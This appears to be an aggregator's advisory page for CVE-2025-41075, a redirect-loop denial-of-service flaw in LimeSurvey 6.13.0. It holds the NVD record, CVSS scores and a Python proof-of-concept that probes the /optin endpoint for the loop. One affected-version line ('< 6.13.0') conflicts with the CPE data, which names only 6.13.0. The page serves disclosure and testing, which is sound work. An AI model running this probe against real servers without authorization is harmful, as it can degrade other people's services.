Security Vulnerability Report
中文
CVE-2025-41075 CVSS 7.5 HIGH

CVE-2025-41075

Published: 2025-11-20 15:17:29
Last Modified: 2025-11-21 19:59:05

Description

Vulnerability in LimeSurvey 6.13.0 in the endpoint /optin that causes infinite HTTP redirects when accessed directly. This behavior can be exploited to generate a Denegation of Service (DoS attack), by exhausting server or client resources. The system is unable to break the redirect loop, which can cause service degradation or browser instability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:limesurvey:limesurvey:6.13.0:*:*:*:*:*:*:* - VULNERABLE
LimeSurvey < 6.13.0 (受影响)
LimeSurvey = 6.13.0 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41075 PoC - LimeSurvey /optin Infinite Redirect DoS import requests import time import sys from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def test_infinite_redirect(target_url, max_redirects=10): """ Test for CVE-2025-41075: Infinite redirect vulnerability in LimeSurvey /optin endpoint This PoC demonstrates the infinite redirect loop by attempting to access the /optin endpoint and tracking redirect behavior. Args: target_url: Base URL of the LimeSurvey instance max_redirects: Maximum number of redirects to follow (default: 10) Returns: bool: True if infinite redirect detected, False otherwise """ endpoint = "/optin" url = f"{target_url.rstrip('/')}{endpoint}" print(f"[*] Testing CVE-2025-41075: {url}") print(f"[*] Maximum redirects to follow: {max_redirects}") try: session = requests.Session() # Disable automatic redirect to detect the loop response = session.get(url, allow_redirects=False, timeout=10) redirect_count = 0 current_url = url redirect_chain = [] # Manual redirect following to detect infinite loop while response.status_code in [301, 302, 303, 307, 308] and redirect_count < max_redirects: location = response.headers.get('Location', '') # Handle relative redirects if location and not location.startswith(('http://', 'https://')): from urllib.parse import urljoin location = urljoin(current_url, location) redirect_chain.append({ 'step': redirect_count + 1, 'from': current_url, 'to': location, 'status': response.status_code }) print(f"[REDIR {redirect_count + 1}] {response.status_code}: {current_url} -> {location}") # Check for infinite redirect loop if location == current_url or location == url: print("[!] INFINITE REDIRECT LOOP DETECTED!") print(f"[!] Redirect chain returns to: {location}") return True current_url = location redirect_count += 1 try: response = session.get(location, allow_redirects=False, timeout=10) except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") break if redirect_count >= max_redirects: print(f"[!] WARNING: Reached maximum redirect limit ({max_redirects})") print("[!] Possible infinite redirect loop detected") return True print(f"[*] Test completed. Redirects followed: {redirect_count}") return False except requests.exceptions.Timeout: print("[!] Request timeout - possible DoS condition") return True except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve_2025_41075_poc.py <target_url>") print("Example: python cve_2025_41075_poc.py https://example.com/limesurvey/") sys.exit(1) target = sys.argv[1] print("=" * 60) print("CVE-2025-41075 PoC - LimeSurvey /optin Infinite Redirect DoS") print("=" * 60) vulnerable = test_infinite_redirect(target) print("\n" + "=" * 60) if vulnerable: print("[VULNERABLE] Target is vulnerable to CVE-2025-41075") print("[IMPACT] An attacker can cause DoS via infinite redirect loop") else: print("[SAFE] Target does not appear to be vulnerable") print("=" * 60) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41075", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:29.263", "lastModified": "2025-11-21T19:59:05.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in LimeSurvey 6.13.0 in the endpoint /optin that causes infinite HTTP redirects when accessed directly. This behavior can be exploited to generate a Denegation of Service (DoS attack), by exhausting server or client resources. The system is unable to break the redirect loop, which can cause service degradation or browser instability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:limesurvey:limesurvey:6.13.0:*:*:*:*:*:*:*", "matchCriteriaId": "61C66C1A-C073-41C9-B847-F55896D4A6E2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-limesurvey-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}